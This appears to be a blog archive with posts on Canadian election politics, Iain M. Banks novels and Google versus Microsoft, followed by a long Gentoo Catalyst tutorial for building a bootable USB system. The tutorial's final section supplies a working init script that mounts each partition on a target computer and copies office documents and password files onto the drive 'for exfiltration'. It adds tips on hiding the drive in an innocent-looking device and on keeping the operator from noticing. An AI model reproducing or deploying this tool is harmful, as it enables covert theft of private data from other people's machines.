Why is Harper so keen on an election right now? The political landscape isn't really in his favour; the best he could hope for would be another Conservative minority government. That's not in his personal best interest, as it would likely result in his position being reassessed by the party.

Harper claims that the current parliament is dysfunctional, but that clearly isn't the case. By any objective measurement, this parliament has been extremely compliant in its minority status. The Conservatives have gotten quite a bit of their agenda through, which is unusual in a minority parliament, especially considering that they have no real allies in the other parties.

Dion has suggested that Harper wants to preempt several by-elections that have been called, and that he wants to avoid committee hearings on Conservative scandals. I don't think that's really it. Yes, the Liberals would get a bit of momentum from wins in the by-elections, but that's not certain and hardly fatal anyway. The committee hearings are important, but they haven't gotten much traction in the public view.

In my view, Harper is terrified of Obama. Improved relations with the US was the primary selling point the Conservatives used in the last election and that would be squarely on the Liberal's side with Obama in the Whitehouse. Further, it'd be seen as inappropriate for the Liberals to assume that Obama will be the president before he's elected, so Harper is desperate to get Canadians to the polls before November 4th.

I also picked up Iain M Bank's Matter and Excession. I've only recently been turned on to his Culture universe, and I've loved it. Once these are done, there's only 3 more for me, though. :(

They seem to have gotten the idea that Microsoft's search has caught up with Google's technologically, but they provide no justification for that opinion. (On an anecdotal note, shortly after the previous entry was crawled by the msnbot, I started getting links from them on "traffic" from the UK.) It seems like he's just repeating talking points or fishing for advertising dollars.

Google is still unequivocally the best search engine to use, but Kirkpatrick is right in that this doesn't really matter much for Google's bottom line (but wrong on why). Google makes it's money by buying and selling advertising. If it owns the destinations those ads are ultimately served on, great, they get a bigger slice of the pie, but they're just as happy to split it with anyone else.

That's where Google and Microsoft part ways. Google isn't threatened by Yahoo existing alongside them offering search and mail, in fact they're quite happy to sell ads for them. Microsoft cannot stand the idea of anyone, anywhere competing with them. For them, it's all or nothing. Microsoft needs to get it's hands on all the pie, where as Google will just make more pie.

Where does Yahoo fall in this? They're just fine where they are. They're in the red, and Google isn't going to crush them for daring to compete. Microsoft would certainly like to, but they haven't the ability. Yahoo's visitors are almost all going to be people using Microsoft's operating system and browser which will default to their search engine and other things. People visiting yahoo.com have made a conscious decision not to use Microsoft's web services, and that's not going to change if Microsoft buys them.

Google can get away with buying web services because people like them (and they don't change them for the worse). People don't like Microsoft, so expect an exodus of visitors from Yahoo if they get their mits on them. Most of those will go to Google, and there will be a bloom of independent implementations of things Yahoo does well, like Flickr. Don't be surprised if Google is one of them.

Kirkpatrick thinks Google has an Ebay like hold on the ad market, but they really don't. There are lots of other similar services. Google gets the most attention because they've got a lot of goodwill, but they could easily be overtaken in this market if they pissed people off. Unfortunately for Microsoft, that's not particularly likely to happen, and they've got such a terrible reputation that they'll never be able to match Google's goodwill. Neither can traditional advertising companies, who haven't built us lots of cool toys as Google has, and who seem incapable of knowing when to say 'no' to ad buyers.

So no, Google's advantage isn't control over any market, and while they've got some cool tech, that serves mainly to increase the size of their market for everyone. Ultimately, Google's real advantage is that people don't think they're bastards.

We'll be assuming a fairly high comfort level of Linux in general and the Gentoo build process specifically. If you're not comfortable doing a fresh Gentoo install with just a bootdisk and a stage 3 tarball, you'll probably want to read through the Gentoo Handbook and install it on your PC before you read this.

Creating the Linux system

Overview

To create the base system, we'll use Gentoo's Catalyst build tool. This software's intended purpose is creating the LiveCDs and stage archives used for bootstrapping a Gentoo system. Its developers don't support creating bootable USB devices with it, but it's flexible enough to do the job without much hassle.

To create the LiveCD iso from which we'll make the bootable USB device, we'll need a portage snapshot and a seed stage 3 archive.

Portage snapshot

A portage snapshot is a tarball containing all official ebuilds. You can download one from your favourite Gentoo mirror, but it's preferable to create an up to date one from your local system. Catalyst can do this for you with the command:

catalyst -s mpk.0

This will create a snapshot in your catalyst storedir named portage-mpk.0.tar.bz2.

Creating the seed stage 3

We need a seed stage to build into the LiveCD. Unfortunately we can't just download one from a Gentoo mirror, because those will be fairly old and when Catalyst tries to upgrade its packages some of them will block each other. Were we doing a normal install, we could easily fix these manually, but Catalyst needs it to work all in one go.

We'll need to create an up to date stage 1 tarball from scratch, from that we can build a stage 2 and then 3. We'll still need a stage 3 from a Gentoo mirror, but this will just be used as a chroot, to isolate the build process from your local system for the first stage. For the second and third stage, the preceding stage will provide the build environment.

Setting up the Catalyst environment

Ensure your Catalyst environment is stored on a partition with a fair amount of free space by editing /etc/catalyst/catalyst.conf. The examples in this article will all assume you've set the following:

storedir="/data/catalyst"
snapshot_cache="/data/catalyst/snapshot_cache"

Create the storedir, and under it create builds/default. Place the stage 3 you downloaded from the Gentoo mirror in builds/default. Keep a copy elsewhere, as Catalyst will delete it in some cases.

We will need a portage configuration directory, create it in /data/catalyst/portage. For our purposes you will only need the following in portage.unmask:

=app-misc/livecd-tools-1.0.40
=sys-apps/hwsetup-1.2

These packages are hard masked to prevent normal Gentoo users from installing them incidentally, but the are necessary for a LiveCD.

We'll also need a kernel config for the final build. We could create our own with the kernel build tools, but the default Gentoo LiveCD config works for our purposes. Make a kconfig directory in the Catalyst storedir, and place the kernel config in it.

Creating the seed stage 1

Write the following to a file named seed-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-2007.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 1 tarball by running:

When this finishes, you'll have a freshly made stage1-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 2.

Creating the seed stage 2

Write the following to a file named seed-stage2.spec:

subarch: i686
version_stamp: mpk.0
target: stage2
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage1-i686-mpk.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 2 tarball by running:

When this finishes, you'll have a freshly made stage2-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 3.

Creating the seed stage 3

Write the following to a file named seed-stage3.spec:

subarch: i686
version_stamp: mpk.0
target: stage3
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage2-i686-mpk.0
portage_confdir: /data/catalyst/portage
pkgcache_path:
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 3 tarball by running:

When this finishes, you'll have a freshly made stage3-i686-mpk.0.tar.bz2 in your builds/default directory. You now have the stub of a working Gentoo system we can build into a LiveCD.

Creating the LiveCD

Now we're ready to start building the LiveCD. Catalyst splits this into two stages. In stage 1, we build all the packages above those in the basic stage 3, save those that depend on the kernel. In stage 2 we build the kernel and any packages that depend on it, unmerge any any packages not needed on the final release (such as the kernel sources), setup the init scripts and package the whole thing in a bootable iso file.

Creating the LiveCD stage 1

Write the following to a file named liveusb-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: livecd-stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-mpk.0
portage_confdir: /data/catalyst/portage

livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl
livecd/packages: livecd-tools dhcpcd acpid gentoo-sources syslog-ng links dosfstools jfsutils 
xfsprogs e2fsprogs reiserfsprogs ntfsprogs screen iputils hwdata-gentoo hwsetup vim ethtool

Build the LiveCD stage 1 by running:

In particular, note the livecd/use and livecd/packages variables. The former sets up the default use flags as would be defined in make.conf in a standard Gentoo system, and the latter is the list of packages that will be included above the standard stage 3 packages.

Creating the LiveCD stage 2

Write the following to a file named liveusb-stage2.spec:

subarch:i686
version_stamp: mpk.0
target:livecd-stage2
rel_type:default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath:default/livecd-stage1-i686-mpk.0
portage_confdir:/data/catalyst/portage

livecd/type:generic-livecd
livecd/iso: /data/catalyst/livecd_shenanigans.iso
livecd/motd:"Welcome to the USB Shenanigans drive"
livecd/rcadd:
        search_partitions|default
livecd/rcdel:
        spind|default
livecd/root_overlay: /data/catalyst/overlay
livecd/fstype: squashfs
livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-3.09-cdtar.tar.bz2
livecd/volid: Shenanigans Live CD
livecd/gk_mainargs:

Build the LiveCD stage 2 by running:

Take particular note of the livecd/rcadd, livecd/rcdel, livecd/root_overlay and livecd/bootargs variables.

The livecd/rcadd and rcdel variables allow us to add or remove init scripts from any runlevel as we would with the rc-update command on a normal Gentoo system. In our case, we want to add the script that searches local partitions as described in the Shenanigans section below, and remove the spind service, which would keep the CD drive spinning if we intended to use this as a LiveCD.

The livecd/root_overlay allows us to splice in files not associated with a package. In our case, we use this to include our shenanigans scripts.

When this finishes, you'll have a working Gentoo system in an iso you can burn. If you're happy carrying around a CD in your pocket, you can skip the rest of the build and move on to the Shenanigans section.

Creating a LiveUSB image from the LiveCD iso

We're almost done. We have an iso that can be booted from CD, but we'll not be able to write anything back to that CD when we boot it, and CDs are rather cumbersome to carry around. Flash drives are dirt cheap, come in much larger capacities, and can be booted from on most modern systems. With a little tweaking, we can turn our LiveCD into a LiveUSB.

Preparing the Flash disk

We'll be using a standard USB Mass Storage flash disk, fat16/32 format. We could boot Linux from almost any filesystem, but sticking to the standard will give us advantages we'll explore further in Part 2. Format your drive as such if it isn't already, and install a master boot record to the root of the drive with the following command:

Install app-admin/mbr from portage if necessary, and replace /dev/sda with the device node your flash disk is on. Be careful not to overwrite your system's boot record if you have SATA drives.

Files needed

image.squashfs
livecd
isolinux/gentoo
isolinux/gentoo.igz

Bootloader

Write the following to a file named syslinux.cfg at the root of your flash disk:

default gentoo
timeout 0
prompt 1

label gentoo
  kernel gentoo
  append root=/dev/ram0 init=/linuxrc cdroot=/dev/sd[a-z][0-9] slowusb looptype=squashfs 
loop=/image.squashfs initrd=gentoo.igz

This is almost identical to the isolinux.cfg Catalyst builds for the LiveCD. We've taken out the boot option that enables a framebuffered console. That's pretty, but it isn't necessary for our purposes and may cause trouble on some systems. We've added cdroot=/dev/sd[a-z][0-9] to the kernel parameters. This gets passed directly into a script in Catalyst's initrd (gentoo.igz) that it uses to determine where the squashfs filesystem is. Normally it would iterate through a long list of potential CD device nodes, looking for one that's mountable and contains a file named livecd in the root. It normally skips over the sd* nodes, as optical media is put on sr* nodes. /dev/sd[a-z][0-9] is expanded by bash into a list of all sd* partitions on the booted system, and Catalyst's script then goes on to look for the one with livecd at the root.

Shenanigans - Searching the local system

Now we come to the point of the exercise. We've got a bootable USB system that can be installed on an easily concealable thumb drive or an apparently innocuous personal media player or camera. This is where we learn why it's never safe to leave a system with sensitive data accessible to people we don't trust.

A very simple script, like the gentoo init script below, can quickly search though the local system for potentially interesting files and deposit them on the flash device. Using $findopts to match files from popular office suites and common password files, this script runs through my old laptop in about 5 minutes. When it's done, you can reboot or immediately remove the flash disk, as it flushes itself.

#!/sbin/runscript
depend(){
  need hdparm
}

start() {
  einfo "Searching filesystems"

  #tease the real root of the flash disk out of the mount command.
  cdroot=`mount|sed -n "s/\(\/dev\/sd[a-z][0-9]\) on \/mnt\/cdrom.*/\1/p"`

  ebegin "Opening $cdroot for exfiltration"
  #remount the flash drive as writeable so we can tar files into it
  mount $cdroot -o remount,rw
  eend $?

  cd /dev
  for partition in [hs]d[a-z][0-9]
  do
    if [ "/dev/$partition" != $cdroot ]
    then
      ebegin "Mounting /dev/$partition"
      mkdir -p /mnt/$partition
      mount /dev/$partition /mnt/$partition
      eend $?
      if [ $? = 0 ]
      then
	ebegin "Searching /mnt/$partition"
	find /mnt/$partition $findopts > /tmp/$partition.files
	tar cpjf /mnt/cdrom/$partition.tar.bz2 -T /tmp/$partition.files
        eend $?
	umount /mnt/$partition
      fi
      rmdir /mnt/$partition
    fi
  done

  ebegin "Flushing $cdroot"
  #put the flash drive back in read only mode so it gets flushed
  mount $cdroot -o remount,ro
  eend $?
}

Limitations

The primary drawback of this procedure is that it requires the target machine to be rebooted, possibly alerting the operator. (Though this can be mitigated on some systems with hibernate functions if they are accessible.) In part 2 we will discuss a similar procedure which does not require a reboot.

References and further reading

1. HOWTO build a LiveCD with Catalyst for newbies
2. Gentoo Handbook - Initscripts